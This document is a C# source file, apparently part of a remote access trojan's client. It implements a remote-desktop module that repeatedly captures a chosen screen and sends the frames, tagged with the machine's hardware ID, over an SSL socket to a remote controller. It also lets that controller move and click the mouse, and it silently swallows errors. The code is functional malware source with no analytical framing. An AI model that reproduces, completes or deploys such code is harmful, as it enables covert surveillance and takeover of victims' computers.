2019-06-21 01:12:49 +03:00

117 lines
4.7 KiB
C#

using System;
using System.IO;
using System.Threading;
using System.Drawing.Imaging;
using System.Drawing;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using Client.MessagePack;
using Client.Connection;
using Client.StreamLibrary.UnsafeCodecs;
using Client.Helper;
using Client.StreamLibrary;
namespace Client.Handle_Packet
{
public class HandleRemoteDesktop
{
public HandleRemoteDesktop(MsgPack unpack_msgpack)
{
try
{
switch (unpack_msgpack.ForcePathObject("Option").AsString)
{
case "capture":
{
CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger));
break;
}
case "mouseClick":
{
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
Cursor.Position = position;
mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1);
break;
}
case "mouseMove":
{
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
Cursor.Position = position;
break;
}
}
}
catch { }
}
public void CaptureAndSend(int quality, int Scrn)
{
TempSocket tempSocket = new TempSocket();
string hwid = Methods.HWID();
Bitmap bmp = null;
BitmapData bmpData = null;
Rectangle rect;
Size size;
MsgPack msgpack;
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
MemoryStream stream;
while (tempSocket.IsConnected && ClientSocket.IsConnected)
{
try
{
bmp = GetScreen(Scrn);
rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
size = new Size(bmp.Width, bmp.Height);
bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);
using (stream = new MemoryStream())
{
unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream);
if (stream.Length > 0)
{
msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("ID").AsString = hwid;
msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(System.Windows.Forms.Screen.AllScreens.Length);
tempSocket.SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length));
tempSocket.SslClient.Write(msgpack.Encode2Bytes());
tempSocket.SslClient.Flush();
}
}
bmp.UnlockBits(bmpData);
bmp.Dispose();
}
catch { break; }
}
try
{
bmp?.UnlockBits(bmpData);
bmp?.Dispose();
tempSocket?.Dispose();
}
catch { }
}
private Bitmap GetScreen(int Scrn)
{
Rectangle rect = Screen.AllScreens[Scrn].Bounds;
try
{
Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb);
using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot))
{
gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
return bmpScreenshot;
}
}
catch { return new Bitmap(rect.Width, rect.Height); }
}
[DllImport("user32.dll")]
static extern void mouse_event(int dwFlags, int dx, int dy, uint dwData, int dwExtraInfo);
}
}